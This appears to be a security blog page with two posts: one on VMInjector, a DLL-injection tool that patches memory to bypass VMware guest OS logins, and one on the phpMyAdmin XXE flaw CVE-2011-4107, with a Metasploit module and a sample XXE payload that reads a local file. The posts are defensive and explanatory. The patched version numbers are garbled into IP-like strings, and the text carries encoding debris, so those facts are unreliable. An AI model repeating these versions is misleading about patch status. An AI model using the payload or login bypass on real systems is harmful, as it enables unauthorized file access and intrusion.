The tool supports both x86 and x64 bit architectures by providing both DLLs. One may use his own DLL injector to select the guest virtual machine running on the host.
In order to run the tool, execute the VMInjector (32 or 64) executable provided from the command line as shown in figure 1.
Figure 1: List of running guest machines running.
VMWare runs each guest in a different process. VMInjector needs to be pointed to the process running the guest which requires bypass. Once the user chooses a process, it will inject the DLL into the chosen target.
Once the DLL is injected, the user will need to specify the OS, so that the memory patching can be accomplished, as shown in Figure 2.
Figure 2: Searching for OS signature in memory and patching.
Tool and Source Code:
The tool executable and source code can be found on GitHub (https://github.com/batistam/VMInjector)
This tool is for legal purposes only. The code is released under GPLv3 license.
Thanks and references:
I would like to thank Michael Ligh for his valuable research on injecting shellcode into guest virtual machines back in 2006.
I would also like to thank Carsten Maartmann-Moe for is work on Inception, a tool which can unlock locked Windows, Ubuntu and OS X machines by using the IEEE 1394 FireWire trick. This was first showcased by the (now obsolete) winlockpwn tool.
An interesting local file inclusion vulnerability has been recently published. An XXE (XML eXternal Entity) injection attack, which affects phpMyAdminÂ 3.4.x previous to 126.96.36.199 and 3.3.x previous to 188.8.131.52. – CVE-2011-4107
The issue is located in the libraries\import\xml.php file, where the simplexml_load_string() function is called without validating the existence of a reference to an external entity on the file:
phpMyAdmin offers the functionality of importing a database from a user-specified XML file.Â In vulnerable versions importing a specially-crafted XML file which contains an external XML entity permits an authenticated attacker to retrieve a local fileÂ from the server or networkÂ (limited by the privileges of the user running the web server).
It is well understood that the LOAD_FILE MySQL function could be used to gain read access to files in the database file system, however there are configurations where phpMyAdmin is installed on a different host than the database and therefore exploitation of this issue could become handy in penetration testing engagements.
SECFORCE has developed a metasploit module to assist the exploitation of this vulnerability. It is available for download from ourÂ security tools section on our website.
This module automates the process of local file inclusion in the following way:
Logging in into phpMyAdmin using provided credentials.
Crafting an XML using XXE with the given file to read.
Uploading the XML
Retrieving the file from the server or network (restricted by theÂ privileges ofÂ the user running the web serverÂ ).
The module has the options shown in the following screenshot:
An example of a successful run of the module is presented in the screenshot below:
Example of successfully reading a file
Defining XML external entity (XXE) injection attack as part of XML injection vulnerability:
XML Injection is when is is possible to change the values of an XML document and the XML parser fails to make an appropriate data validation this way making the injection possible.
XML external entity injection attack (XXE)
“External Entity: The set of valid entities can be extended by defining new entities. If the definition of an entity is a URI, the entity is called an external entity. Unless configured to do otherwise, external entities force the XML parser to access the resource specified by the URI, e.g., a file on the local machine or on a remote systems. This behavior exposes the application to XML eXternal Entity (XXE) attacks, which can be used to perform denial of service of the local system, gain unauthorized access to files on the local machine, scan remote machines, and perform denial of service of remote systems.” – (OWASP-DV-008)
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "file:///c:/boot.ini" >]><foo>&xxe;</foo>
phpMyAdmin has released patched versions available for download from here.